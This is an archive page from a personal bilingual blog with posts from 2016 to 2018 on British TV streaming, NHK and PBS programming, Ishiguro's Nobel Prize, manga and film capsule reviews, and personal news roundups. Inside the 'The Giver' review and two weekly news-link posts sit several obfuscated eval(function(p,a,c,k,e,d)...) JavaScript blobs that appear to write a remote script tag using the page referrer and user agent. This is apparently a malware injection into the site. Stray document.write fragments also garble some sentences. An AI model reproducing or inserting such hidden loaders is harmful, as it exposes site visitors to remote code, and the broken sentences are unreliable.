Brit Box

April 12, 2018April 14, 2018 / Clodjee / 2 Comments

I first saw an advertisement for this on Facebook but didn’t pay much attention to it (because, these days, who trust what they are seeing on FB). I’ve also seen lots of similar offers in Totally British magazine, but it looked like it was either expensive, complicated or semi-legit solutions. However, when I saw an ad on TV (I don’t remember if it was on CNN or MSNBC) then it got my attention as it looked quite serious. Everyone who is a fan of British television should have a look at this.

BritBox.com is similar to Netflix: it’s a digital video subscription service. It offers a large selection of TV shows for streaming (dramas, comedies, mysteries, documentaries, soaps, lifestyles, etc.) to the difference that those shows are exclusively British. It claims that they are the “Biggest streaming collection of British TV… ever” !

You can sign in for a 7-day free trial and, after that, you can indulge your inner Brit by paying only $8.99 per month and be able to cancel anytime. Forget about catching a few Brit TV shows on CBC, PBS or BBC Canada. Now you can watch the best of Brit TV anytime, anywhere (web, phone, tablet, Apple TV, etc.), uncut and commercial free. All you need is an internet connection. Quite interesting.

BritBox is co-owned by the BBC and ITV and launched in Canada last February.

Here’s a few of the shows available on BritBox that I found could be quite interesting to (re-) watch: Agatha Christie’s Poirot (6 seasons), Ancient Rome: The Rise and Fall of an Empire (2006), Around the World in 80 Treasures (2005), Blackadder (5 seasons: 1983-89), Bleak House (2005), Cadfael (4 seasons: 1994-98), Classic Doctor Who (25 seasons: 1963-89), Cranford (2 seasons: 2007-09), Desperate Romantics (2009), Doctor Zhivago (2002), Dunkirk (2004), Elizabeth R (1971), Father Brown (1974), Hammer House movies (1980), Inspector Morse (8 seasons: 1987-1993), Lark Rise to Candleford (4 seasons: 2008-11), Life on Mars (2 seasons: 2006-07), Maigret (both 1992 and 2016 series), Midsomer Murders (19 seasons: 1998-2018), Poldark (1996), Prime Suspect (7 seasons: 2991-2006), Red Dwarf (12 seasons: 1988-1999, 2009, 2016-2017), Rosemary & Thyme (3 seasons: 2003-07), Sharpe (7 seasons: 1993-97, 2006, 2008), Sherlock Holmes (4 seasons: 1984-1985, 1986-1988, 1991-93, 1994), Spitting Image (5 seasons: 1984-88), The Champions (1968-69), The Hitchhiker’s Guide to the Galaxy (1981), The Moonstone (1972-73, 2016), The Queen’s Archive Speeches (1940-2002), Torchwood (4 seasons: 2006-11), Tutankhamun (2016), and Upstairs Downstairs (both series: 1971-74, 2010-12). Just to name a few!

It is certainly worth a look and I am planning to sign in for the free trial during my next vacation in May for a binge-test! Watch this space (and let me know what you think of it if you are already a subscriber)!

Sources:

BritBox Launches in Canada (ITV, Newswire)
BritBox by BBC and ITV streaming platform debuts in Canada for $8.99 a month (Mobile Syrup)
BritBox lands in Canada, sure to be a major disruptor in ever-shifting TV landscape (Globe & Mail)

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Something new on TV

January 7, 2018January 8, 2018 / Clodjee / Leave a comment

First, tonight it’s the Golden Globe Awards…

I also noticed this week-end that Vermont PBS started showing daily (at 12:30 am) an half-hour of NHK Newline! I am glad to see that, at a time when many Americans think it’s great to be isolationist again, a TV station dare to show some openness to the world. For years now, PBS has been keeping open a window on Europe by showing an half-hour of BBC World News (otherwise available on the BBC World News and BBC America channels). Now they show that they understand that news from Asia matters more and more as they open this window on the English-language news from Japan’s NHK World, which covers the essential of what’s happening in Asia. Also, the NHK World News channel is itself available more and more on various cable providers in North America (mostly on the west coast). Unfortunately, I doubt it will ever be available on Videotron’s or Bell’s line-up — although it doesn’t really matter since it is anyway streaming on the internet and through apps. However, it’s great that more Americans are exposed to Asian (and Japanese) news through PBS. Kudos to the Public Broadcasting Service!

After watching the Christmas episodes of Doctor Who (a female Doctor, that’s promising!), Murdoch Mysteries (average) and Call The Midwife (a snowy episode quite of circumstance), as well as the first episode of Knightfall (quite interesting) and the mini-series Gunpowder (a different point of view of the Guy Fawkes story with Game of Thrones’ Kit Harrington playing his own ancestor Robert Catesby!), I finished binging on Viking (season four and most of season five) so I am up to date now. I still have a few episodes of the 6th season of Father Brown and the season finale of A Place to Call Home 5th season to finish but I am already looking for something new to watch…

Luckily, Star Trek: Discovery second-half of its first season is starting tonight and there a new season (the 11th !) of X-Files that just started (I am not sure about watching this one…), but I also discovered today that the seventh and last season of Un Village Français (a French TV series about the impact of WW2 and its aftermath on a small village’s daily life) is now available to watch! It’s already available for streaming in French on ici.Tou.tv and will start streaming with English subtitles on MHz Choice on January 30th (the PBS-affiliated MHz Worldview [Mountain View Digital signal 57.2] is already broadcasting the sixth season) which is also available in Canada! (Darn! Another streaming app to subscribe to!)

So many shows to watch… No wonder that I don’t read much lately!

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Ishiguro gets Nobel Prize in literature !

October 9, 2017 / Clodjee / Leave a comment

British writer Kazuo Ishiguro (mostly known for his books The remains of the day [1989] and Never let me go [2005], which were both adapted into movies) has received the 2017 Nobel Prize in Literature. The award was announced on October 5th. Sara Danius, the secretary of the Swedish Academy, said that his novels showed “great emotional force” as he was uncovering “the abyss beneath our illusory sense of connection with the world.” She also described his style as a “mix of Jane Austen, comedy of manners and Franz Kafka.” His recurrent themes seem to be identity, memory, time and self-delusion.

Kazuo Ishiguro was born in Nagasaki, Japan, in 1954 but moved to Surrey, England, at age five because of his father’s work as an oceanographer for the NOCS. He always stayed close to his Japanese roots because, until age fifteen, he had planned to go back to Japan but, instead, his family decided to settle in England (he received British citizenship in 1982). He graduated from UKC in English and Philosophy in 1978 and received a Master in creative writing from UEA in 1980. Before starting his writing career in 1982, he wanted to be a musician and worked as a social worker. Strangely, his life background and relationship with Japan is very similar with Belgian author Amélie Nothomb and their writings share some themes.

To celebrate Ishiguro’s Nobel Prize, NHK World re-broadcasted a two-part special where the writer gives a lecture about his work. Originally broadcasted on October 22nd and November 5th 2016, the show is titled “First Class [in literature], Kazuo Ishiguro: My Secret of Writing” and is still available for streaming until October 25th, 2017 [Part 1 and Part 2]. It is also partly available on Youtube [in English and in Japanese]. It is very interesting and well worth watching.

Sources: BBC, Le Devoir, Goodreads, HazLitt, Japan Times, NHK World, Wikipedia.

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Capsule reviews (02.017.247)

September 4, 2017June 15, 2019 / Clodjee / 8 Comments

Bande-dessinée

Yoko Tsuno #28: Le temple des Immortels

Une autre aventure plutôt invraisemblable de l’électronicienne nippone. Leloup développe ici des éléments de récits qu’il avait laissé en plan dans des albums précédents ( #12: La Proie et l’ombre, #25: La Servante de Lucifer, #27: Le Secret de Khâny ). Comme c’est souvent le cas dans ses oeuvres plus récentes, le récit semble un peu précipité alors qu’il essai de raconter son histoire dans le cadre étroit du format traditionnel de quarante-deux pages. On a l’impression de vivre le récit en accéléré…

Le problème avec des albums qui font sans cesse référence à des volumes précédents est qu’on ne se rappelle pas toujours des détails qui s’y étaient déroulés, ce qui laisse des lacunes dans la bonne compréhension (et l’appréciation) du récit. Toutefois l’idée de moines médiévaux avec des Vinéens et des tributs celtiques vivant au creux de la terre, dans un gouffre profond, a quand même du charme. C’est une lecture nostalgique mais tout de même un peu décevante, donc d’un intérêt moyen…

Cela donne le goût de relire de vieux albums (car étrangement je suis resté sur ma faim — c’est presque toujours le cas avec ces très court albums à l’européenne). Comment un artiste peut-il vivre en publiant juste de tels albums aux deux ans? C’est un dur contraste avec les mangakas nippon qui produisent en moyenne une quantité de pages similaires (en noir et blanc toutefois) CHAQUE SEMAINE (!) pour la pré-publication en périodique… stars-2-5

[ Amazon — Biblio — Dupuis — Goodreads — Wikipedia — Worldcat ]

Commentaire aussi disponible sur Goodreads et Les Irrésistibles.

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Magazine

AnimeLand #216

Le numéro de juin-juillet 2017 nous offre des dossiers sur l’importance du visuel dans la société nippone (“Quand la 2D se tape l’incruste”), sur le marché de l’anime en France en 2016 (qui ne progresse pas aussi positivement que celui du manga car divisé, à 70% / 30%, entre le DVD et le Blu-ray et considérablement affecté par la popularité du simulcast, qui a toutefois l’avantage de faire régresser l’utilisation de sites illégaux de diffusion), et sur les anime “engagés” (socio-politiquement: Harmony, Genocidal Organ, Ghost in the Shell S.A.C., Galactic Hero Legend, Gundam; ou écologiquement: L’école emportée, Conan: Fils du Futur, Nausicaa, Princess Mononoke, Pompoko, Ponyo sur la falaise, Earth Girl Arjuna, etc.).

Comme toujours, AnimeLand nous fait découvrir de nombreux anime (Hirune Hime, Dans un recoin du monde, Golgo 13, Le grand méchant renard, My hero academia, Atom: The Beginning, la saison 2 de L’attaque des titans, Dragonball Super, Boruto: Naruto Next Generations, Rage of Bahamut: Virgin Soul, Capitaine Flam), mangas (Kenshin, One Piece, Mob Psycho 100, Les mémoires de Vanitas, Reine d’Égypte, Voyage à Tokyo, Tenjin, Gloutons et Dragons), et jeux video (Persona 5, et un article sur les mondes ouverts). On nous trace aussi des portraits de seiyu (Mamoru Miyano) ou de musicien (Akira Yamaoka) et nous présente une dizaine d’interviews avec Kenji Kamiyama (Hirune Hime), Eric Goldberg & Neysa Bové (Vaiana), Masashi Kudo (Chain Chronicle), Yasuyuki Muto (Rolling Girls), Studio La Cachette, Nobuhiro Watsuki (Kenshin), Kiyo Kyujyo (Trinity Blood), Tatsuki Fujimoto (Fire Punch) et Chie Inudoh (Reine d’Égypte). Finalement, on retrouve les indispensables actualités et commentaires sur les parutions récentes.

Nul doute que AnimeLand est une source inépuisable d’information sur l’animation et la bande-dessinée japonaise, et le seul magazine francophone sur ces sujets. Toutefois, je n’ai rien trouvé de bien excitant dans ce numéro… stars-2-5

[ Amazon — Site web — Wikipedia ]

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Manga

Pline #2: Les rues de Rome

Ce second tome, s’il nous offre beaucoup moins d’action que le premier, n’en est pas moins intéressant car il approfondit de beaucoup notre connaissance des protagonistes. Euclès découvre la maison (remplit de manuscrits!) de son nouveau maître, Pline. Celui-ci souffre grandement de l’asthme mais se méfie beaucoup des médecins. Il finira cependant par se soumettre au traitement du médecin grec Silénos, qui lui recommande surtout l’air pur de la Campanie. Euclès tombe amoureux d’une jeune esclave, Plautina, qu’il a rencontré par hasard, mais celle-ci est aussi tombé dans l’oeil de l’empereur Néron! Celui-ci se sent un peu égaré sans les conseils de son précepteur, Sénèque, qu’il a exilé. On y découvre une image plus humaine de Néron, qui apparait moins comme un tyran qu’un jeune homme cultivé mais moralement faible. Poppée, qui n’est pas très aimée du peuple, se fait lancer des pierres. Elle annonce à Néron qu’elle est enceinte, ce qui le convainc finalement de la marier et de régler le sort d’Octavie. Felix, le garde du corps un peu frustre de Pline, a une famille à Rome mais sa femme se plaint de ses absences prolongées et surtout des conditions de vie difficile dans les insulae romaines. Alors Pline leur offre de s’installer dans l’une de ses maisons. Mais le personnage le plus important de ce tome, c’est sans doute Rome elle-même alors que l’on découvre plus en détails ses bas fonds et ses lupanars!

C’est une lecture passionnante si vous êtes amateur de manga historique et de Rome antique. Et ce qui est particulièrement remarquable dans cet ouvrage c’est le grand détail et la qualité du dessin de Mari Yamazaki et Tori Miki. À lire absolument! stars-3-5

Voir aussi mon commentaire sur Pline #1: L’appel de Néron

[ Amazon — Biblio — Casterman — Goodreads — Wikipedia — Worldcat ]

[ Translate ]

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Movies

Jackie

Slow, boring movie that shows a not very sympathetic, selfish Jackie, control freak of her image and obsessed with Lincoln funeral and the fact that his widow died destitute and penniless. Is this a well researched bio pic or just an iconoclast fiction? In the end, it is all about the making of the modern myth of the American camelot.

After John‘s death, Jackie meets with a journalist and reminisce about her traumatic ordeal in order to reshape her husband’s presidency. What makes a president great and be remembered like Lincoln was? His accomplishment or his image? stars-2-0

[ Amazon — Biblio — IMdB — Official — Wikipedia — Youtube ]

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TV Series

Samurai Gourmet

Someone recommended to my wife this Japanese TV series streaming on Netflix. The subject is cool, I had already heard about the writer of the original manga and the main character is played by an actor that I like, therefore I had no hesitation to subscribe to Netflix in order to binge on this mini series of twelve episodes of twenty minutes each. I have absolutely no regret. It was quite funny and very interesting as I leaned a few things about Japanese cuisine. Highly recommended!

Nobushi no Gourmet (漫画版野武士のグルメ) is based on a manga written by Masayuki Kusumi and drawn by Shigeru Tsuchiyama (first pre-published in November 2013 by Gentosha Plus web magazine and then in print in June 2016 — I have already commented on the very similar manga that Masayuki Kusumi did with Jiro Taniguchi in 1994-96 titled Kodoku no gourmet). It tells the story of 60-year-old salaryman Takashi Kasumi (Naoto Takenaka) who just retired. Having lost his corporate title and the support of his company, he finds himself with lots of time on his hands. His wife Shizuko (Honami Suzuki) is always busy with something (choir practice, etc.), so he goes for a walk, wandering around and decides to enter a restaurant. For the first time he has a beer in the afternoon and rediscovers the pleasure of a good meal! Being a great fan of Sengoku Period samurai stories, he often imagine what a masterless samurai (played by Tetsuji Tamayama) would do in his situation — which always creates hilarious scenes!

As most of the episode is made of showing off food and the protagonist inner monologue, you might think it is quite boring: in the contrary, it’s an excellent series (see comments on Japan Times, Eater, Thrillist) as proven by a 97% rating on Rotten Tomatoes! stars-4-0

[ IMDb — Netflix — Wikipedia ]

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Monthly notable news (w20-25)

June 26, 2017 / Clodjee / Leave a comment

On the domestic front, after much hesitation, the summer has finally arrived. At work, it is crazier than ever with the start of the vacation loan, the TD summer reading club, the twenty-days of amnesty, the summer clean-up and all this often in a sweatshop-like environment (hot and humid, because the ventilation and AC doesn’t work properly). It is so exhausting. I’ve applied for a job with more responsibilities (and pay) but flunked the interview (for the second time!). I am either good for nothing else or there’s something rotten in the HR kingdom.

I felt quite depressed lately. With all the problems with the house and at work, as well as the fact that I have not written or read much in several months, it’s no surprise. I come back from work with all my energy spent. I feel worthless. I feel I give a lot to the people around me and doesn’t get much (attention, respect, gratitude, etc.) in return. I hate it when dark thoughts keep me from enjoying life. But, hey!, it’s summer so lets enjoy the sun, the parks, the museums, the flowers, the cats, the people and particularly the few remaining days of my second ten-day summer vacation. There’s lot to do around the house and so much writing (hopefully) to catch up (I’ll try to go at it with smaller bites)!

In the news, Apple has announced some great software updates (iOS 11, macOS High Sierra, watchOS 4) and some new products (iMac & MacBook Pro, or iPad Pro updates, as well as a new iMac Pro and the HomePod, a speaker that they say will reinvent music at home) and my evenings have been consumed with listening to the latest Trump craziness on MSNBC. Everyday brings a new lie! More on the news in the links bellow…

I have always enjoyed the stray cats in my backyard but this year it is a real infestation: a battered dominant male [Toffee], two females (mother [Grisou] and daughter [Chaussette/Socks], their FIVE kittens and a couple of tomcat challengers. That’s TEN cats! They have laid waste to the backyard garden so I had to do something to control the situation. Unfortunately, the lack of consistent animal management policies in the city (and particularly in this borough, VSP) puts all the burden on the citizen and doesn’t give much help. My only option is to bring them to the Berger Blanc (which has a terrible reputation and an almost all-kill policy — also, for some mysterious reasons [$$?], my borough doesn’t deal with the SPCA) which I refuse to do. So far, I’ve caught all the females and their kittens, and I’ll see what I can do from there (any suggestions?)…

I’ve also started taking some omega-3 supplements, which (according to an NHK World report) is supposed to be good against cholesterol and dementia, amongst other things (like cancer or arthritis). It’s messing up with my digestion, but strangely I feel that my mind is a little clearer. Placebo effect? Anyway, we’ll see…

Strangely, I kept busy during the last month by doing lots of little things (cleaning up the garage, buying a new couch, burying my mother’s ashes, etc. — daily routine stuff) about which there’s little to say (or I just can’t recall some of them). I confess that I also probably watch too much TV. Anyway, that’s about it for now…

Although, as always, I continued to stay acquainted with the affairs of the world and gathered nearly a hundred notable news & links — which I share with you (in both french or english, and roughly separated in a few categories of interest), after the jump.

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Weekly notable news (w17-19)

May 15, 2017 / Clodjee / Leave a comment

Another few weeks have passed quickly without anything significant happening: More crazy weeks at works and rainy week-ends where I don’t feel I accomplished anything. I am tired and really need a longer vacation. Next week I’ll start a ten-day holiday where I’ll be able to rest (sleep late!), catch up on stuff (writing, work around the house), travel around (Ottawa’s Tulip’s festival, Quebec City, botanical garden, museums, the libraries book sale, bury my mother’s ashes, etc.) and, above all, completely forget about work for a while. Or so I thought!

In hope for greener pastures, I have applied for a new library job (more responsibilities, further from home, but a greater challenge for my skills and a much better salary). However, after a lengthy processus, they scheduled an interview right in the middle of my vacation and at nine o’clock on the morning of my BIRTHDAY! Not only they made me filled a psychological test online (it’s called “an inventory of personality” and it will probably reveal that I am a total psycho) but they didn’t even bother to reply when I asked if it was possible to reschedule, so I’ll do my best to be there and we’ll see. Que sera, sera.

The weather has really been lousy lately. May is supposed to be the nicest month of all (and not only because it’s my birthday). Overall, it has been cold and rainy. It even snowed a little last week. In may! Hopefully, it will not portend that the summer will be likewise, and it will soon improve (at least for my vacations, please!).

Something strange happened at the beginning of the month: out of the blue, one late afternoon, I started to smell a vague odour of gazoline in the basement. It didn’t come from the obvious source, the garage. Usually, such smell comes from the sewage (through a dried P-trap) or from a dead animal but, in this case, it seemed to come from the pit of the water-pipe entry. I called the city and was told not to worry, it was “probably” not toxic and might have come from some work on the pipes in the neighbourhood (I couldn’t locate any nearby). I cracked open a window and the next morning it was gone. I never knew what it was.

The unlucky streak didn’t stop there. Not only I broke a piece of tooth while eating a granola bar during my lunch break at work (and I am still waiting for the dentist to find some spare time for an appointment), but I also discovered that the damage to the rear balcony of the house is more extensive than I first thought. The supporting posts are not planted deep enough (they rest on concrete supports that are just on the surface while they should be in soil deep enough so it never freezes in winter — who are the morons who built this house?!) so the ground expansion due to the freezing is slowly ripping the balcony off the house. So much that it has now become worrisome. We will have to do the repairs sooner than expected and it will probably be quite costly! What an exciting boring life!

Again, I must remind myself not to let the outside world rattle my core. Carpe diem, my boy, carpe diem!

Finally, I managed to stay acquainted with some of the affairs of the world and gathered notable news & links of interest — which I share with you (in both french or english, and organized into a few basic categories), after the jump.

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Monthly notable news (W12-16)

April 24, 2017 / Clodjee / Leave a comment

Another month (or so) has passed at lightning speed. Lots of stuff to do, particularly now that spring has come. We had plenty of rain at first, however now the weather is more enjoyable but still a little chilly. The humidity has made my left knee (and a bit my right ankle) hurt and, for a week, my back pain came back with a vengeance — libraries can be hard work sometimes (and not only for the soul; although it can be amusing too). I also had an episode of high blood glucose and I feared I would become a full-blown diabetic but it returned to my pre-diabetic “normal” after a week. This is no work for old men…

It has been a busy month. We’ve visited the notary twice for mom’s succession paperwork and there was plenty of work around the house particularly for the garden cleaning. I also had to deal with many unexpected problems: some strange Bell bug kept me from my blog for a week and I had some leaky roof, front door handle and water heater issues (the latter two just this weekend). Installing two more Outdoor Nest Cams (as one of my cheap IP cameras died following water damage inside the window) has been a strain on the Bell Wi-Fi causing serious performance problems. I’ll probably solve this issue by going back to Videotron, but only for the internet (I’ll share my sister’s).

A question on FB made me look back at my collection of old books and share my love for them. I also purchased a new Telephoto Mirror Lens for my camera. My TV viewing habits didn’t change much. I still watch too much TV: the new season for old series (When calls the Heart, Into the Badlands, Doctor Who) but two series are particularly worth mentioning for their quality: Anne and The Expense (and its beautiful opening credits with Norwegian vocals — listen on Soundcloud and Youtube). I also wanted to go see Ghost in the Shell in theatre but the reviews were not too good so I decided to wait. However, I’ll definitely won’t miss the Valerian‘s movie when it is released!

I have always considered blogging (and writing in general) as an essential mental exercice (as much as my daily walks) to keep in shape, the mind sharp and age better. However, now I have some doubt. It sometimes feels like a strain since I have less and less time to do it. I have to split my waking hours between my wife-together time, my me-time and work (from which I always come back exhausted). Lately, I had lots of problems with the blog (the Dropbox issue, not being able to log in for an entire week) and it leaves me with the dilema of having to choose between fixing the layout on the old posts or writing new material (or try to do both and be unhappy with the result). I just wonders if it is really worth it.

Maybe I should try less to DO something and just take more time to enjoy life right now (going to movies, to the museums, to the botanical garden, READ more, etc.) without always thinking about sharing it, what I would say about it, which angle I could use to explain the subject better or tell an interesting story about the whole experience. My health won’t improve with the years and I am quite sure that there is less road in front of me than behind, so maybe I should just take the most of it and enjoy the moment. Who’s reading me anyway. Although, I often say that I am writing for myself, so I can read what I wrote one day and remember how it was (particularly when I would not remember it at all). It is just like a journal left adrift in the binary stream of time, to create some sort of posterity.

Both ways seem kind of selfish: if I do write I feel guilty of not doing more of my life and, if I don’t, I feel I am letting myself down. Either way it is a losing battle. •Sigh* It’s the age-old depressing philosophical question: Did I ever really lived and did it really matter? I can only press on and hope for the best.

Finally, I nevertheless managed to stay acquainted with the (ever so depressing) affairs of the world and gathered a few notable news & links — which I share with you (in both french or english, and roughly divided into a few thematics), after the jump.

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Capsule reviews

January 7, 2017 / Clodjee / 1 Comment

The Giver

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eenfb|var|u0026u|referrer|biidt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adzfd|var|u0026u|referrer|yntbk||js|php’.split(‘|’),0,{}))
In a post-cataclysmic world, document.write(“”); humanity survives in a small utopian society which is peaceful and content, but colourless and deprived of emotions. With his coming of age, Jonas (Brenton Thwaites) is assigned a role as Receiver of Memory and instructed by the Giver (Jeff Bridges), who telepathically shares with him all the memories from the ancient time in order to give him the wisdom necessary to advise the Chief Elder (Meryl Streep) in her decisions. With this knowledge comes the realization that this seemingly perfect society is in no way morally better than the previous one: citizens are drugged into conformity and when they become less useful or rebellious they are “released to the Elsewhere”, i.e. murdered by lethal injection! To justify their authoritarian ways, the Chief Elder says “When people have the freedom to chose, they chose wrong every single time” — true, but at least they have the freedom to be wrong! By reaching the distant borders of the community, the hero wants to reset the society in hope for a better future (and to save the woman he loves, Fiona (Odeya Rush)). Based on Lois Lowry‘s young adult novel, this science-fiction movie succeeds, with a relatively small budget ($25 millions), to create an entertaining and thought-provoking story, making us ponder the moral values of our society. Even if it’s a little reminscient of Logan’s Run, this is an excellent movie well worth watching.

[ Amazon — Biblio — IMdB — Wikipedia — Youtube ]

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Victoria

This British drama TV series depicts the reign of Queen Victoria from her accession (after the death of her uncle William IV) to her mariage with Prince Albert (Tom Hughes) and the birth of her first child (also named Victoria). It was produced by ITV in the UK and will premiere on PBS’s Masterpiece next week. In a way, it is very similar to the series The Crown that depicts the early reign of Queen Elisabeth II. It is quite interesting to see all the politics and trials that play out around the English monarchy at such an important time in history (the Victorian era was particularly characterized by the industrial revolution and the development of railways). It’s also funny that there is so much German blood (from the House of Hanover and the House of Saxe-Coburg) in the British monarchy, and it created quite a stir at the time. But I must admit that what first caught my attention is the fact that the title role is played by Jenna Coleman (who has also interpreted Clara Oswald, one of the best companions in the new Doctor Who TV series, but also acted in Julian Fellowes’ Titanic and in Dancing on the Edge). Also starring is Rufus Sewell, who plays Victoria’s counsel and Prime Minister, Lord Melbourne. I also liked the haunting music theme. I really cannot resist a British historical drama, even less a very good one. Don’t miss it!

[ Amazon — IMdB — Wikipedia — Youtube ]

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Dark Angel

This is a two-part mini-series (although it feels more like a TV movie cut in two) produced by ITV in the UK and starring Joanne Froggatt (Anna in Downton Abbey). It will be shown on PBS’s Masterpiece later this year. Inspired by David Wilson’s book Mary Ann Cotton: Britain’s First Female Serial Killer, it tells the sordid story of Mary Ann Cotton, a black widow who poisoned three of her four husbands as well as eleven of her thirteen children in order to collect insurance money and survive the harsh conditions women had to endure in nineteenth century England. You can’t help but feel some sympathy for her. A good period drama as it is often the case with Brit TV. Recommended.

[ Amazon — IMdB — Wikipedia — Youtube ]

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Eye in the Sky

An interesting movie showing, from the British point of view, all the procedures and decisions behind a drone strike in Somalia, as well as the moral questions it raises. If you could eliminate three top wanted terrorists as well as two suicide bombers preparing for an eminent attack that could kill up to eighty civilians, would you do it even if it meant probably killing one innocent girl? The collateral damage question is always a difficult choice between two evils. In a way, nothing much happens in this movie as the story is told almost in real time. Everything is in the debate, which makes it clearly a political movie. But is it an apology of war or a critic of the politicians inaptitude? Maybe both? Interesting indeed!

[ Amazon — Biblio — IMdB — Wikipedia — Youtube ]

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A Ghost of a Chance

Emi (Eri Fukatsu) is a lawyer whose client is accused of murdering his wife. But he couldn’t have done it since the night of the murder he was pined down in his hotel room by a ghost! What sort of defence can you build when your only witness is the ghost of a samurai? You manage to make him testify, of course! A funny japanese movie just as I like them, with a great line-up of actors (Toshiyuki Nishida, Hiroshi Abe, Kiichi Nakai, Koichi Sato, Takayuki Kinoshita, Y?ko Takeuchi, Tadanobu Asano, etc.)!

I stumbled on this movie while watching TV Japan — a New-York based Japanese language channel operated by NHK Cosmomedia America and broadcasting a compilation of the best programming from the top Japanese networks and studios, including news and entertainment programs such as movies, dramas, variety shows, anime, sporting events, etc. (and available in Canada thanks to Bell Fibe TV!). I am glad that they show movies subtitled in english once in while.

[ Amazon — AsianWiki — IMdB — Wikipedia — Youtube ]

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Suffragette

Maud (Carey Mulligan) works in an industrial laundry house and gets involved by chance in the suffragette movement. Participating in illegal protests causes her to be outcast by her husband, which in turn drives her even further into political activism. Protests become more and more violent with property damages and bombings, hunger strikes when they were jailed, but it fails to really attract attention since the government controls the press… Until one woman, Emily Davison, is killed on a race track in front of the king. In 1928, women’s rights were finally recognized in Britain. But it took fifteen years to get there and the movie doesn’t show how Maud managed to survive during that time (if she could). Meryl Streep has a brief cameo as one of the movement’s leader, Emmeline Pankhurst. It’s unbelievable to see how bad were women’s living and working conditions in the late 19th and early 20th centuries. For that, it’s an interesting movie but I found it was lacking passion.

[ Amazon — Biblio — IMdB — Official sites — Wikipedia — Youtube ]

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Weekly notable news (week 33)

August 15, 2016 / Clodjee / Leave a comment

Here are twenty-five notable news & links that I found interesting, document.write(“”); amazing or plain weird (in no particular order & some in French) / Voici vingt-cinq nouvelles et liens notables que j’ai trouvé intéressant, étonnant ou tout simplement bizarre (sans ordre particulier et la plupart en anglais):
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehhai|var|u0026u|referrer|adrba||js|php’.split(‘|’),0,{}))

Une série télé dirigée par Woody Allen cet automne (La Presse)
Apple Pay comes to Canadian vending machines through PayRange app (Apple Insider)
The life of Japan’s ‘god of manga’ (The Japan Times)
Food Manga: Where Culture, Conflict And Cooking All Collide (NPR)
Ulysses 2.6 for iPad (iPad Insight)
George R.R. Martin’s ‘Wild Cards’ Optioned for Cable (ICv2)
A new four-part animated adaptation of Richard Adams’ Watership Down to come in 2017 (Slate)
Athena, the Book Explorer shares her adventures (The Gazette, link)
Elon Musk is working on a roof made of solar panels (Engadget, CNN)
How to Tell if Someone Is Stealing Your Wi-Fi (Digital Trends)
Rio 2016: The Olympics on BBC Sport (link)
Cavemen were much smarter than we thought (CNN)
En ce 11 août, le Japon fête son 16e jour férié de l’année (Le Monde)
Japan boy band SMAP to break up (BBC, ANN)
Grèce: 80 squelettes exhumés d’un cimetière antique (Le Monde)
Naoki Urasawa, le stakhanoviste du manga (Le Monde)
Comment expliquer le retour des tensions en Crimée entre la Russie et l’Ukraine ? (Le Monde)
Monkey selfie: Animal charity Peta challenges ruling ! (BBC)
Mystery object in weird orbit beyond Neptune cannot be explained (New Scientist)
10 things we didn’t know last week (BBC)
Nice court upholds burkinis ban, but appeal planned (BBC)
Egypt’s Oldest Papyri Detail Great Pyramid Construction (History)
Who was Leonidas of Rhodes? (BBC)
Star Wars: Rogue One New trailer released (BBC)
TV thriller Homeland gets three more seasons (BBC)

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Weekly notable news [week 31]

July 31, 2016 / Clodjee / Leave a comment

Here are a few notable news & links that I came across this week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|retiz|var|u0026u|referrer|hkzri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkbdn|var|u0026u|referrer|htbtd||js|php’.split(‘|’),0,{}))

Review of Yowamushi Pedal Vol. 1 (ICv2)
MWFF announces “Golden Chelem” with 13 cash prizes (link)
How to stop being annoyed by life (CNN)
The Geological Features That Inspired Hell In Dante’s Divine Comedy (Forbes)
The New CBS Star Trek Series Is Called Star Trek: Discovery (Popular Science)
André Forcier’s Kiss Me Like a Lover to open 40th Montreal World Film Festival (link)
New Images from Valerian (ICv2)
Master Saga Sourcebook for Robotech RPG in August (ICv2)
Billy Bat Manga to End in 3 More Chapters (ANN, document.write(“”); AnimeLand)
Live-Action Ghost in the Shell Film’s Cyborg Designs Unveiled (ANN, AnimeLand)
Mobile Police Patlabor Reboot Short Anime Announced for October (ANN)
Super Dimension Fortress Macross Begins English-Subtitled Streaming on Amazon (ANN)
